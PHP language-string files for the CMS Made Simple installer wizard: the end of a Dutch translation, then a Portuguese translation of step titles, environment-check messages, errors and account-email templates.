$lang['step2_schemaver'] = 'Database Schema Versie';
$lang['step2_version'] = 'Uw versie';
$lang['symbol'] = 'Symbool';
$lang['social_message'] = 'Ik heb met succes CMS Made Simple geïnstalleerd!';
$lang['test_failed'] = 'Een noodzakelijke test is mislukt';
$lang['th_testname'] = 'Controle';
$lang['th_value'] = 'Waarde';
$lang['title_error'] = 'Er is een fout opgetreden!';
$lang['title_step2'] = 'Stap 2 - Aanwezigheid software controleren';
$lang['title_step3'] = 'Stap 3 - Compatibiliteit Controle';
$lang['title_step4'] = 'Stap 4 - Basis Configuratie';
$lang['title_step5'] = 'Stap 5 - Admin Account Configuratie';
$lang['title_step6'] = 'Stap 6 - Website Instellingen';
$lang['title_step7'] = 'Stap 7 - Installatie bestanden';
$lang['title_step8'] = 'Stap 8 - Database vullen';
$lang['title_step9'] = 'Stap 9 - Gereed';
$lang['title_welcome'] = 'Welkom';
$lang['title_docs'] = 'Officiële Documentatie';
$lang['title_api_docs'] = 'Officiële API Documentatie';
$lang['to'] = 'bij';
$lang['title_share'] = 'Deel uw ervaringen met uw vrienden';
$lang['tmpfile'] = 'Controleren naar een werkende tmpfile()';
$lang['tmp_dirs_empty'] = 'Zorg ervoor dat de tijdelijke folders leeg zijn of nog niet zijn aangemaakt';
$lang['upgrade'] = 'Bijwerken';
$lang['upgrade_deleteoldevents'] = 'Oude "gebeurtenissen" verwijderen';
$lang['upgrading_schema'] = 'Database schema bijwerken';
$lang['upload_max_filesize'] = 'Controleren van de maximale omvang van de toegevoegde bestanden';
$lang['username'] = 'Gebruikersnaam';
$lang['warn_memory_limit'] = 'De geheugenlimietwaarde is %s, wat hoger is dan het minimum van %s. %s wordt echter aanbevolen';
$lang['warn_open_basedir'] = 'open_basedir is ingeschakeld in de php-configuratie. Hoewel u kunt doorgaan, ondersteunt CMSMS geen installaties met open_basedir-beperkingen.';
$lang['warn_upload_max_filesize'] = 'Hoewel de instelling van %s voldoende is, wordt aangeraden de instelling upload_max_filesize in PHP te verhogen tot ten minste %s';
$lang['wizard_step1'] = 'Welkom';
$lang['wizard_step2'] = 'Controleren op bestaande software';
$lang['wizard_step3'] = 'Compatibiliteit Controle';
$lang['wizard_step4'] = 'Configuratie Informatie';
$lang['wizard_step5'] = 'Beheer Account Informatie';
$lang['wizard_step6'] = 'Website Instellingen';
$lang['wizard_step7'] = 'Installatie Bestanden';
$lang['wizard_step8'] = 'Database bewerkingen';
$lang['wizard_step9'] = 'Gereed';
$lang['xml_functions'] = 'Controleer XML functionaliteit';
$lang['yes'] = 'Ja';
?><?php
$lang['action_freshen'] = 'A refrescar / reparar uma instalação CMSMS %s';
$lang['action_install'] = 'A criar um site CMSMS %s';
$lang['action_upgrade'] = 'A actualizar um site CMSMS para a versão %s';
$lang['advanced_mode'] = 'Habilitar o modo avançado';
$lang['apptitle'] = 'Assistente de instalação e actualização';
$lang['available_languages'] = 'Linguagens disponíveis';
$lang['build_date'] = 'Data de Build';
$lang['changelog_uc'] = 'REGISTO CHANGELOG';
$lang['cleaning_files'] = 'A apagar os ficheiros que já não se aplicam a esta versão';
$lang['config_writable'] = 'A verificar se existe um ficheiro config escrevível';
$lang['confirm_freshen'] = 'Tem a certeza de que quer refrescar (reparar) a instalação existente do CMSMS? Use extrema precaução!';
$lang['confirm_upgrade'] = 'Tem a certeza de que quer iniciar o processo de actualização?';
$lang['curl_extension'] = 'A verificar a extensão CURL';
$lang['database_support'] = 'A verificar drivers de base de dados compatíveis';
$lang['desc_wizard_step1'] = 'Iniciar o processo de instalação ou actualização';
$lang['desc_wizard_step2'] = 'Analizar o directório de destino à procura de software existente';
$lang['desc_wizard_step3'] = 'A verificar se está tudo OK para prosseguir com a instalação do núcleo do CMSMS';
$lang['desc_wizard_step4'] = 'Para novas instalações, e operação de refrescar, digite os dados de configuração básica';
$lang['desc_wizard_step5'] = 'Para novas instalações, digite os dados da conta Administração';
$lang['desc_wizard_step6'] = 'Para novas instalações digite alguns detalhes básicos do site';
$lang['desc_wizard_step7'] = 'Extrair ficheiros';
$lang['desc_wizard_step8'] = 'Criar ou actualizar o schema da base de dados, configurar eventos iniciais, permissões, contas de utilizador, escantilhões (templates), folhas de estilo (stylesheets) e conteúdo';
$lang['desc_wizard_step9'] = 'Instalar e/ou actualizar módulos conforme necessário, criar ficheiro config, e remover o lixo.';
$lang['destination_directory'] = 'Directório de Destino';
$lang['dest_writable'] = 'Permissões de escrita no directório de destino';
$lang['disable_functions'] = 'Funções desabilitadas';
$lang['done'] = 'Concluído';
$lang['email_accountinfo_message'] = 'A sua instalação do CMS Made Simple está completa.

Este email contém dados sensíveis, e deve ser guardado de forma segura.

Estes são os detalhes da sua instalação:
Nome de Utilizador: %s
Senha: %s
Directório de Instalação: %s
URL da Root: %s';
$lang['email_accountinfo_message_exp'] = 'A sua instalação do CMS Made Simple está completa.

Este email contém dados sensíveis, e deve ser guardado de forma segura.

Estes são os detalhes da sua instalação:
Nome de Utilizador: %s
Senha: %s
Directório de Instalação: %s';
$lang['email_accountinfo_subject'] = 'CMS Made Simple foi Instalado com Sucesso';
$lang['emailaccountinfo'] = 'Enviar os dados da conta por email';
$lang['emailaddr'] = 'Endereço de Email';
$lang['error_adminacct_emailaddr'] = 'O endereço de email especificado não é válido';
$lang['error_adminacct_emailaddrrequired'] = 'Foi seleccionada a opção de enviar os dados da conta por email, mas não foi especificado um endereço de email válido';
$lang['error_adminacct_password'] = 'A senha especificada não é válida (no mínimo deverá ter seis charateres)';
$lang['error_adminacct_repeatpw'] = 'As senhas digitadas não são iguais.';
$lang['error_adminacct_username'] = 'O nome de utilizador especificado não é válido. Por favor tente de novo';
$lang['error_admindirrenamed'] = 'Aparentemente terá mudado o nome do directório de Admin do CMSMS por razões de segurança. Reverta para o nome original para prosseguir';
$lang['error_backupconfig'] = 'Não foi possível fazer um backup apropriado do ficheiro de config';
$lang['error_checksum'] = 'O checksum do ficheiro extraído não confere com o original';
$lang['error_cmstablesexist'] = 'Aparentemente já existe uma instalação de CMSMS nesta base de dados. Por favor, especifique dados diferentes para esta instalação. Se desejar usar um prefixo de tabelas diferentes, poderá ter de reiniciar o processo de instalação e habilitar o Modo Avançado.';
$lang['error_createtable'] = 'Problema ao criar tabela na base de dados... provavelmente uma questão de permissões';
$lang['error_dbconnect'] = 'Não foi possível estabelecer ligação com a base de dados. Por favor verifique cuidadosamente as credenciais fornecidas';
$lang['error_dirnotvalid'] = 'O directório %s não existe (ou não permite escrita)';
$lang['error_droptable'] = 'Foi detectado um problema ao apagar a tabela da base de dados... possivelmente uma questão de permissões';
$lang['error_filenotwritable'] = 'Não foi possível re-escrever o ficheiro %s (problema de permissões)';
$lang['error_internal'] = 'Lamentamos, alguma coisa correu mal... (erro interno) (%s)';
$lang['error_invalid_directory'] = 'Aparentemente o directório que foi escolhido para a instalação é o directório de trabalho do próprio instalador';
$lang['error_invalidconfig'] = 'Erro no ficheiro config, ou ficheiro de config inexistente';
$lang['error_invaliddbpassword'] = 'A senha da base de dados contem caracteres inválidos os quais não poderão ser correctamente guardados.';
$lang['error_invalidkey'] = 'Chave ou variável inválida %s na classe %s';
$lang['error_invalidparam'] = 'Parâmetro ou valor do parâmetro inválido: %s';
$lang['error_missingconfigvar'] = 'A chave "%s" do ficheiro config.ini ou não existe ou não é válida';
$lang['error_noarchive'] = 'Problema na procura do ficheiro de archivo... por favor reinicie';
$lang['error_nlsnotfound'] = 'Problema na procura de ficheiros NLS no ficheiro de archivo';
$lang['error_nodatabases'] = 'Não foram encontrados extensões compatíveis de base de dados';
$lang['error_nodbhost'] = 'Por favor digite um nome de host (ou um endereço de IP) válido para a ligação à base de dados';
$lang['error_nodbname'] = 'Por favor digite o nome de uma base de dados válida no host especificado anteriormente';
$lang['error_nodbpass'] = 'Por favor digite uma senha válida para autenticar a ligação à base de dados';
$lang['error_nodbprefix'] = 'Por favor digite um prefixo válido para as tabelas da base de dados';
$lang['error_nodbtype'] = 'Por favor seleccione um tipo de base de dados';
$lang['error_nodbuser'] = 'Por favor digite';
$lang['error_nodestdir'] = 'O directório de destino não foi definido';
$lang['error_nositename'] = 'O nome do site é um parâmetro requerido. Por favor digite um nome adequado para o seu website';
$lang['error_notimezone'] = 'Por favor digite um fuso horário válido para este servidor';
$lang['error_sendingmail'] = 'Erro ao enviar email';
$lang['error_tzlist'] = 'Ocorreu um problema ao obter a lista de identificadores de fuso horário';
$lang['errorlevel_estrict'] = 'Verificação de E_STRICT';
$lang['errorlevel_edeprecated'] = 'Verificação de E_DEPRECATED';
$lang['edeprecated_enabled'] = 'A directiva E_DEPRECATED está activa na configuração de PHP error_reporting. Não é impedimento para a operação do CMSMS mas poderá resultar no aparecimento de avisos PHP nas páginas, em particular como resultado do uso de módulos de terceiros mais antigos.';
$lang['estrict_enabled'] = 'A directiva E_STRICT está activa na configuração de PHP error_reporting. Não é impedimento para a operação do CMSMS mas poderá resultar no aparecimento de avisos PHP nas páginas, em particular como resultado do uso de módulos de terceiros mais antigos.';
$lang['fail_config_writable'] = 'O processo HTTP não consegue escrever no ficheiro config.php. Por favor tente mudar as permissões deste ficheiro para 777 até ao final do processo de actualização';
$lang['fail_curl_extension'] = 'A extensão curl não foi encontrada. Não sendo um problema crítico poderá causar dificuldades a alguns módulos de terceiros';
$lang['fail_database_support'] = 'Não foram encontrados drivers de base de dados compatíveis';
$lang['fail_file_get_contents'] = 'A função file_get_contents não existe, ou encontra-se desabilitada. CMSMS não pode continuar (inclusivamente o própio instalador poderá falhar)';
$lang['fail_file_uploads'] = 'A capacidade de carregar ficheiros para o servidor estão desactivadas neste ambiente. Diversas funções do CMSMS não irão funcionar neste ambiente';
$lang['fail_func_json'] = 'funcionalidade json não detectada';
$lang['fail_func_gzopen'] = 'funcionalidade gzopen não detectada';
$lang['fail_func_md5'] = 'funcionalidade md5 não detectada';
$lang['fail_func_tempnam'] = 'A função tmpnam não existe. É uma função requerida para o funcionamento do CMSMS';
$lang['fail_func_ziparchive'] = 'funcionalidade ZipArchive não detectada, o que poderá causar algumas limitações';
$lang['fail_ini_set'] = 'Aparentemente não é possível alterar as configurações ini. Poderá causar problemas a módulos de terceiros (ou ao habilitar o modo de depuração)';
$lang['fail_magic_quotes_runtime'] = 'Aparentemente a directiva magic quotes está habilitada nesta configuração. Por favor desabilite-a e tente de novo';
$lang['fail_max_execution_time'] = 'O tempo máximo de execução corrente de %s não chega ao valor mínimo de %s. Recomenda-se que aumente esse valor para %s ou superior';
$lang['fail_memory_limit'] = 'O seu valor de limite de memoria é demasiado baixo. Foi detectado %s, no entanto é requerido um mínimo de %s, e recomendado %s';
$lang['fail_multibyte_support'] = 'O suporte a multibyte não de encontra habilitado nesta configuração';
$lang['fail_output_buffering'] = 'O output buffering não de encontra habilitado';
$lang['fail_open_basedir'] = 'Estão em efeito restrições de open basedir. O CMSMS requer que estas restrições se encontrem desabilitadas';
$lang['fail_php_version'] = 'A versão de PHP disponível é extremamente importante para o funcionamento do CMSMS. A versão mínima aceitável é %s, no entanto recomendamos %s ou maior. Foi detectada %s';
$lang['fail_post_max_size'] = 'O tamanho máximo de post encontrado, %s, não chega ao valor mínimo de %s. Deverá ser aumentado para %s. Assegure-se de que este valor seja superior ao upload_max_filesize';
$lang['fail_pwd_writable2'] = 'O processo HTTP necessita de conseguir escrever no directório de destino (e em todos os directórios e ficheiros que lhe são interiores) para poder instalar ficheiros. O instalador não tem permissão de escrita de (pelo menos) %s';
$lang['fail_register_globals'] = 'Por favor desabilite o register globals na sua configuração de PHP';
$lang['fail_remote_url'] = 'Foram encontrados problemas na ligação a um URL remoto. Estes irão limitar alguma da funcionalidade do CMS Made Simple';
$lang['fail_safe_mode'] = 'O CMSMS não irá operar adequadamente num ambiente aonde o safe mode esteja habilitado. Note que o safe mode foi marcado como obsoleto ao ser considerado um mecanismo falhado, e será removido em versões futuras do PHP';
$lang['fail_session_save_path_exists'] = 'O valor da variável session save path não é válido ou o directório não existe';
$lang['fail_session_save_path_writable'] = 'O directório session save path não é escrevível';
$lang['fail_session_use_cookies'] = 'As sessões NÃO estão configuradas para o uso de cookies';
$lang['fail_tmpfile'] = 'A função de sistema tmpfile() não está a funcionar. Esta função é necessária para permitir a extracção de ficheiros dos arquivos. O argumento de URL opcional TMPDIR pode ser usado para especificar um directório com permissões de escrita. Consulte o ficheiro README que deverá estar incluído neste directório.';
$lang['fail_xml_functions'] = 'A extensão XML não foi encontrada. Por favor habilite-a no seu ambiente PHP';
$lang['failed'] = 'falhou';
$lang['file_get_contents'] = 'A testar a função file_get_contents';
$lang['file_installed'] = '%s Instalado';
$lang['file_uploads'] = 'Verificação de suporte de upload de ficheiros';
$lang['finished_custom_freshen_msg'] = 'A instalação corrente foi refrescada! Os ficheiros do núcleo foram actualizados e foi criado um novo ficheiro config. Por favor visite o seu website para se certificar de que tudo está a funcionar correctamente.';
$lang['finished_custom_install_msg'] = 'Woot! Acabámos. Por favor visite o seu website e dê entrada no painel Admin';
$lang['finished_custom_upgrade_msg'] = 'Woot! Está tudo finalizado. Por favor viste o Painel Admin, e o lado público do seu site para certificar-se de que está tudo a funcionar adequadamente. <br/><strong>Sugestão:</strong> esta é uma boa altura para fazer outra cópia de segurança.';
$lang['finished_freshen_msg'] = 'A instalação corrente foi refrescada! Os ficheiros do núcleo foram actualizados e foi criado um novo ficheiro config.  Já pode <a href="%s">visitar o seu website</a> ou <a href="%s">dar entrada no painel admin do CMSMS</a>.';
$lang['finished_install_msg'] = 'Woot! Acabámos. Já pode <a href="%s">visitar o seu website</a> ou <a href="%s">dar entrada no painel admin do CMSMS</a>.';
$lang['finished_upgrade_msg'] = 'Woot! Está tudo finalizado. Por favor  <a href="%s">visite o seu site</a>, e o <a href="%s">Painel Admin</a> para certificar-se de que está tudo a funcionar adequadamente. Poderá ainda ser necessária a actualização de alguns módulos de terceiros. <br/><strong>Pista:</strong> esta é uma boa altura para fazer outra cópia de segurança.';
$lang['freshen'] = 'Refrescar (reparar)';
$lang['func_json'] = 'Verificação de funcionalidade de codificação e descodificação json';
$lang['func_md5'] = 'Verificação de funcionalidade md5';
$lang['func_tempnam'] = 'Verificação de função tempnam';
$lang['func_gzopen'] = 'Verificação de função gzopen';
$lang['func_ziparchive'] = 'Verificação de função  ZipArchive';
$lang['gd_version'] = 'Versão GD';
$lang['goback'] = 'Voltar';
$lang['info_addlanguages'] = 'Seleccionar linguagens (para além do Inglês) a instalar. Nota: nem todas as traduções estão completas.';
$lang['info_adminaccount'] = 'Por favor especifique as credenciais para a conta inicial de administrador. Esta conta terá acesso a toda a funcionalidade da consola de admin do CMSMS.';
$lang['info_advanced'] = 'O modo avançado habilita mais opções no processo de instalação.';
$lang['info_dbinfo'] = 'O CMS Made Simple guarda uma quantidade considerável de dados na base de dados. Uma ligação a uma base de dados é mandatória. Adicionalmente, as credenciais que fornecer deverão ter TODOS OS PRIVILÉGIOS para a base de dados especificada de forma a ser possível criar, apagar e modificar tabelas, indexes e views.';
$lang['info_errorlevel_edeprecated'] = 'E_DEPRECATED é uma flag da directiva de PHP error reporting que indica que devem ser emitidos avisos (mensagens Warning) quando o código de programação usa técnicas obsoletas. Apesar do núcleo do CMSMS tentar assegurar tanto quanto possível que estas técnicas não são usadas, alguns módulos poderão não cumprir este standard. É recomendado que se desabilite esta configuração PHP';
$lang['info_errorlevel_estrict'] = 'E_STRICT é uma flag da directiva de PHP error reporting que indica quando os standards estritos de programação devem ser respeitados. Apesar do núcleo do CMSMS estar em conformidade com os standards E_STRICT tanto quanto possível, alguns módulos poderão não cumprir este standard. É recomendado que se desabilite esta configuração PHP';
$lang['info_installcontent'] = 'Por defeito este instalador irá criar uma série de páginas de exemplo, folhas de estilo e templates nesta instalação do CMSMS. Este conteúdo de exemplo providencia informação extensiva bem como pistas para ajudar à construção de sites com o CMSMS e é de leitura recomendada e útil. No entanto se já estiver familiarizado com o CMS Made Simple, ao desabilitar esta opção estará a criar apenas um conjunto mínimo de templates, folhas de estilo, e páginas de conteúdo.';
$lang['info_open_basedir_session_save_path'] = 'A directiva open_basedir está habilitada na sua configuração de PHP. Não nos foi possível testar as capacidades de sessão de forma apropriada. Contudo, ter chegado a este ponto da instalação indica que, com toda a probabilidade, as sessões estarão a funcionar correctamente.';
$lang['info_pwd_writable'] = 'Esta aplicação necessita de permissão de escrita no directório de trabalho corrente';
$lang['info_queryvar'] = 'A variável de query é usada internamente pelo CMSMS para indentificar a página requerida. Na maioria das circunstâncias não deverá ser necessário ajustar esta entrada.';
$lang['info_sitename'] = 'O nome do website é usado nos templates pré-configurados com parte do título. Por favor dê ao site um nome que seja inteligível';
$lang['info_timezone'] = 'A informação de fuso horário é necessária aos cálculos e usos de data/hora no site. Por favor seleccione o fuso horário do servidor.';
$lang['ini_set'] = 'A testar se é possível modificar configurações INI';
$lang['install'] = 'Instalar';
$lang['install_attachstylesheets'] = 'Anexar folhas de estilo a temas';
$lang['install_backupconfig'] = 'A fazer cópia de segurança do ficheiro config';
$lang['install_created_index'] = 'Criados índices %s ... %s';
$lang['install_create_tables'] = 'Criar tabelas de base de dados';
$lang['install_createconfig'] = 'Criar novo ficheiro config';
$lang['install_createcontentpages'] = 'Criar páginas de conteúdo pré-definidas';
$lang['install_created_table'] = 'Foi criada a tabela  %s: .... %s';
$lang['install_createtablesindexes'] = 'A criar tabelas e indexes';
$lang['install_createtmpdirs'] = 'A criar directórios temporários';
$lang['install_creating_index'] = 'Criado índice %s';
$lang['install_default_collections'] = 'Instalar colecções pré-definidas';
$lang['install_defaultcontent'] = 'Instalar conteúdo pré-definido';
$lang['install_detectlanguages'] = 'Detectar idiomas instalados';
$lang['install_dropping_tables'] = 'A apagar tabelas';
$lang['install_dummyindexhtml'] = 'Criar ficheiros index.html fictícios';
$lang['install_extractfiles'] = 'Extrair ficheiros do arquivo';
$lang['install_initevents'] = 'Criar eventos';
$lang['install_initsitegroups'] = 'Criar grupos iniciais';
$lang['install_initsiteperms'] = 'Definir permissões iniciais';
$lang['install_initsiteprefs'] = 'Definir preferências de site iniciais';
$lang['install_initsiteusers'] = 'criar conta inicial de utilizador';
$lang['install_initsiteusertags'] = 'UDT\'s (user defined tags) iniciais';
$lang['install_module'] = 'Instalar o módulo %s';
$lang['install_modules'] = 'Instalar módulos disponíveis';
$lang['install_passwordsalt'] = 'Definir sal de senhas';
$lang['install_requireddata'] = 'Definir os dados iniciais requeridos';
$lang['install_schema'] = 'Criar schema da base de dados';
$lang['install_setschemaver'] = 'Definir versão do schema';
$lang['install_setsequence'] = 'Reiniciar sequências das tabelas';
$lang['install_setsitename'] = 'Definir o nome do site';
$lang['install_stylesheets'] = 'Criar folhas de estilo pré-definidas';
$lang['install_templates'] = 'Criar templates pré-definidos';
$lang['install_templatetypes'] = 'Criar tipos standard de templates';
$lang['install_update_sequences'] = 'Actualizar as tabelas de sequências';
$lang['install_updatehierarchy'] = 'Actualizar posições hierárquicas de conteúdo';
$lang['install_updateseq'] = 'Actualizar a sequência de %s';
$lang['installer_ver'] = 'Versão do instalador';
$lang['legend'] = 'Legenda';
$lang['magic_quotes_runtime'] = 'Assegurar que as magic quotes estão desabilitadas';
$lang['max_execution_time'] = 'Verificação de tempo máximo de execução de um script PHP';
$lang['meaning'] = 'Significado';
$lang['memory_limit'] = 'Verificação de limite de memória PHP suficiente';
$lang['msg_clearedcache'] = 'A cache do servidor foi limpa';
$lang['msg_configsaved'] = 'O ficheiro config existente foi guardado em %s';
$lang['msg_upgrade_module'] = 'A actualizar o módulo %s';
$lang['msg_upgrademodules'] = 'Actualização de módulos';
$lang['msg_yourvalue'] = 'Detectou-se: %s';
$lang['multibyte_support'] = 'Verificação de suporte multibyte';
$lang['next'] = 'Seguinte';
$lang['no'] = 'Não';
$lang['none'] = 'Nenhum';
$lang['open_basedir'] = 'Restrições open_basedir';
$lang['open_basedir_session_save_path'] = 'A directiva open_basedir está habilitada. Não é possível testar o directório de sessão (session save path)';
$lang['output_buffering'] = 'Assegurar que o output buffering está abilitado';
$lang['pass_config_writable'] = 'O processo HTTP tem permissões de escrita no ficheiro config.php';
$lang['pass_database_support'] = 'Foi encontrado pelo menos um driver de base de dados';
$lang['pass_func_json'] = 'funcionalidade json detectada';
$lang['pass_func_md5'] = 'funcionalidade json detectada';
$lang['pass_func_tempnam'] = 'A função tempnam existe';
$lang['pass_multibyte_support'] = 'Suporte multibite parece estar habilitado';
$lang['pass_php_version'] = 'A versão de PHP configurada neste momento não está de acordo com os requerimentos mínimos. No mínimo a versão PHP %s é requerida, embora seja recomendada %s ou superior';
$lang['pass_pwd_writable'] = 'O processo HTTP não consegue escrever no directório de destino. Necessário à extracção dos ficheiros';
$lang['password'] = 'Senha';
$lang['ph_sitename'] = 'Digite um nome para o site';
$lang['php_version'] = 'Versão de PHP';
$lang['post_max_size'] = 'Verificação do valor máximo de dados que é possível usar num request';
$lang['prompt_addlanguages'] = 'Linguagens adicionais';
$lang['prompt_createtables'] = 'Criar Tabelas da Base de Dados';
$lang['prompt_dbhost'] = 'Nome do Host da Base de Dados';
$lang['prompt_dbinfo'] = 'Informação da Base de Dados';
$lang['prompt_dbname'] = 'Nome da Base de Dados';
$lang['prompt_dbpass'] = 'Senha';
$lang['prompt_dbport'] = 'Número do Port da Base de Dados';
$lang['prompt_dbprefix'] = 'Prefixo dos Nomes das Tabelas da Base de Dados';
$lang['prompt_dbtype'] = 'Tipo da Base de Dados';
$lang['prompt_dbuser'] = 'Nome de Utilizador';
$lang['prompt_dir'] = 'Directório de Instalação';
$lang['prompt_installcontent'] = 'Instalar Conteúdo de Demonstração';
$lang['prompt_queryvar'] = 'Variável de Query';
$lang['prompt_sitename'] = 'Nome do Web Site';
$lang['prompt_timezone'] = 'Fuso Horário do Servidor';
$lang['pwd_writable'] = 'Directório Escrevível';
$lang['queue_for_upgrade'] = 'Próximo modulo não pertencente ao core em fila para actualização no passo seguinte: %s.';
$lang['readme_uc'] = 'LEIA-ME';
$lang['register_globals'] = 'Assegurar que o \'register globals\' está desabilitado';
$lang['remote_url'] = 'Conexões HTTP de saída';
$lang['repeatpw'] = 'Repita a senha';
$lang['reset_site_preferences'] = 'Repor algumas preferências globais';
$lang['reset_user_settings'] = 'Repor algumas preferências de utilizador';
$lang['retry'] = 'Tentar de Novo';
$lang['safe_mode'] = 'Teste para assegurar que o  \'safe mode\' está desabilitado';
$lang['saltpasswords'] = 'Salgar Senhas';
$lang['select_language'] = 'A primeira coisa que lhe vamos pedir é para seleccionar a sua preferência de idioma da lista seguinte. Esta opção será usada para melhorar a sua experiência durante esta sequência de instalação, mas não terá qualquer efeito na instalação final do CMSMS.';
$lang['send_admin_email'] = 'Enviar email com as credenciais de acesso à secção admin';
$lang['session_capabilities'] = 'Teste a existência de recursos adequados de sessão (o uso de cookies pela sessão, o directório de sessão permitir escrita, etc)';
$lang['session_save_path_exists'] = 'Session_save_path existe';
$lang['session_save_path_writable'] = 'Session_save_path tem propriedades de escrita';
$lang['session_use_cookies'] = 'Assegurar que as sessões PHP usam cookies';
$lang['sometests_failed'] = 'Foram executados uma série de testes no ambiente web corrente. Embora não tenham sido encontrados nenhuns problemas críticos, recomenda-se que os itens seguintes sejam corrigidos antes de prosseguir.';
$lang['step1_advanced'] = 'Modo Avançado';
$lang['step1_destdir'] = 'Seleccionar Directório';
$lang['step1_info_destdir'] = 'Aviso: este programa pode instalar ou actualizar mais do que uma instalação do CMS Made Simple. É importante seleccionar o directório correcto para a sua instalação ou actualização.';
$lang['step1_language'] = 'Seleccionar Linguagem';
$lang['step1_title'] = 'Seleccionar Linguagem';
$lang['step2_cmsmsfound'] = 'Foi encontrada uma instalação do CMS Made Simple. É possível actualizar esta instalação. No entanto, antes de prosseguir, assegure-se de que tem uma cópia de segurança VERIFICADA, de todos os ficheiros bem como da base de dados';
$lang['step2_cmsmsfoundnoupgrade'] = 'Embora tenha sido encontrada uma instalação do CMS Made Simple, não é possível usar esta aplicação para actualizá-la. Possivelmente é uma versão muito antiga.';
$lang['step2_confirminstall'] = 'Tem a certeza de que quer instalar o CMS Made Simple';
$lang['step2_confirmupgrade'] = 'Tem a certeza de que quer actualizar o CMS Made Simple';
$lang['step2_errorsamever'] = 'O directório seleccionado aparenta ter uma instalação do CMSMS com a mesma versão que vem incluída neste script. Continuar com este processo irá refrescar esta instalação.';
$lang['step2_errortoonew'] = 'O directório seleccionado aparenta ter uma instalação do CMSMS mais recente do que a  incluída neste script. Não é possível prosseguir.';
$lang['step2_info_freshen'] = 'Refrescar esta instalação envolve repor todos os ficheiros do núcleo e recriar a configuração. Ser-lhe-a pedida informação básica de configuração, contudo a base de dados não será tocada.';
$lang['step2_installdate'] = 'Data aproximada de instalação';
$lang['step2_hdr_upgradeinfo'] = 'Informação de versão';
$lang['step2_info_upgradeinfo'] = 'De seguida encontra as notas de lançamento e informações de modificações (changelog) disponíveis para cada versão. Os botões visíveis permitem consultar informações detalhadas sobre o que mudou em cada versão do CMS Made Simple. Poderão haver mais instruções ou avisos em cada versão que podem afectar o processo de actualização.';
$lang['step2_minupgradever'] = 'A versão mínima que esta aplicação consegue actualizar é: %s. Poderá ser necessário actualizar a sua aplicação para uma versão mais recente por estágios, e através de outro método, antes de terminar este processo de actualização. Por favor certifique-se de que tem uma cópia de segurança completa e verificada, antes de usar qualquer método de actualização.';
$lang['step2_nocmsms'] = 'Não foi encontrada nenhuma instalação do CMS Made Simple neste directório. Parece ser uma instalação nova';
$lang['step2_passed'] = 'Passado';
$lang['step2_pwd'] = 'O seu directório de trabalho actual';
$lang['step2_schemaver'] = 'Versão do Schema da Base de Dados';
$lang['step2_version'] = 'A versão detectada';
$lang['step3_failed'] = 'Esta aplicação executou numerosos testes ao ambiente PHP corrente, e um ou mais destes testes falharam. É necessário rectificar esses erros nesta configuração antes de continuar. Uma vez rectificados os erros, clique \'Tentar de Novo\' abaixo.';
$lang['step3_passed'] = 'Esta aplicação executou numerosos testes ao ambiente PHP corrente, e todos passaram com sucesso. São boas notícias. Não sendo testes conclusivos, não deverá ter nenhuma dificuldade a usar a instalação do núcleo do CMSMS.';
$lang['step9_removethis'] = '<strong>Aviso</strong> Por motivos de segurança é extremamente importante a remoção do assistente de instalação de qualquer sitio acessível publicamente no site assim que tenha verificado que a operação tenha tido sucesso.';
$lang['symbol'] = 'Símbolo';
$lang['social_message'] = 'Foi instalado o CMS Made Simple com sucesso!';
$lang['test_failed'] = 'Um teste requerido falhou';
$lang['test_passed'] = 'Um teste passou (testes bem sucedidos só são visíveis no modo avançado)';
$lang['test_warning'] = 'Uma configuração está acima do valor mínimo requerido, mas abaixo do valor recomendado, ou... Um recurso, que pode ser requerido para uma funcionalidade opcional, não está disponível';
$lang['th_status'] = 'Estado';
$lang['th_testname'] = 'Teste';
$lang['th_value'] = 'Valor';
$lang['title_error'] = 'Houston, temos um problema!';
$lang['title_step2'] = 'Passo 2 - Detectar software existente';
$lang['title_step3'] = 'Passo 3 - Testes';
$lang['title_step4'] = 'Passo 4 - Informações Básicas de Configuração';
$lang['title_step5'] = 'Passo 5 - Informações de Conta de Administração';
$lang['title_step6'] = 'Passo 6 - Configurações do Site';
$lang['title_step7'] = 'Passo 7 - Instalar Ficheiros da Aplicação';
$lang['title_step8'] = 'Passo 8 - Procedimentos da Base de Dados';
$lang['title_step9'] = 'Passo 9 - Finalização';
$lang['title_welcome'] = 'Bem-vindo';
$lang['title_forum'] = 'Fórum de Apoio';
$lang['title_docs'] = 'Documentação Oficial';
$lang['title_api_docs'] = 'Documentação Oficial do API';
$lang['to'] = 'ao';
$lang['title_share'] = 'Partilhe a sua experiência com os seus amigos.';
$lang['tmpfile'] = 'Verificação de mpfile() funcional';
$lang['upgrade'] = 'Actualizar';
$lang['upgrade_deleteoldevents'] = 'A apagar eventos antigos';
$lang['upgrading_schema'] = 'A actualizar schema de base de dados';
$lang['upload_max_filesize'] = 'Verificação do tamanho máximo de upload de ficheiros';
$lang['username'] = 'Nome de Utilizador';
$lang['warn_disable_functions'] = 'Nota: uma ou mais funções PHP estão activas. Estas podem ter um impacto negativo na sua instalação do CMSMS, particularmente com módulos desenvolvidos por terceiros. Por favor vigie o ficheiro de registo de erros (error log). As funções que estão desabilitadas são: %s';
$lang['warn_max_execution_time'] = 'Apesar do tempo máximo de execução de %s exceda o valor mínimo necessário de %s, recomenda-se que aumente este valor para %s ou superior';
$lang['warn_memory_limit'] = 'O limite de memória encontrado é de %s, sendo assim acima do mínimo de %s. Recomenda-se no entanto um valor de %s';
$lang['warn_open_basedir'] = 'A directiva open_basedir está habilitada na sua configuração de PHP. Apesar de poder continuar a instalação, o CMSMS não dá suporte a utilizadores com relação a instalações em ambientes com restrições de open_basedir.';
$lang['warn_post_max_size'] = 'Apesar do tamanho máximo de post de %s exceda o valor mínimo necessário de %s, recomenda-se que aumente este valor para %s ou superior, e que este seja superior ao valor de upload_max_filesize';
$lang['warn_tests'] = 'Nota: o sucesso na passagem de todos estes testes deverá assegurar que o CMSMS funcione adequadamente na maioria dos sites. No entanto, à medida que o site cresça, e mais funcionalidades sejam adicionadas, estes valores mínimos podem-se revelar insuficientes. Adicionalmente, módulos desenvolvidos por terceiros podem requerer recursos adicionais ou com valores acima dos encontrados para funcionar adequadamente';
$lang['warn_upload_max_filesize'] = 'Embora a configuração PHP de %s de upload_max_filesize seja suficiente, recomendamos incrementar este valor para pelo menos %s';
$lang['welcome_message'] = 'Bem-vindo! Este é o Mecanismo de Instalação Automática do CMS Made Simple. Este permitir-lhe-á, de forma rápida e fácil, confirmar se o seu servidor web é compatível com o CMSMS, e instalar ou actualizar o CMS Made Simple para a versão mais recente. Temos a certeza de que o irá apreciar.';
$lang['wizard_step1'] = 'Bem-vindo';
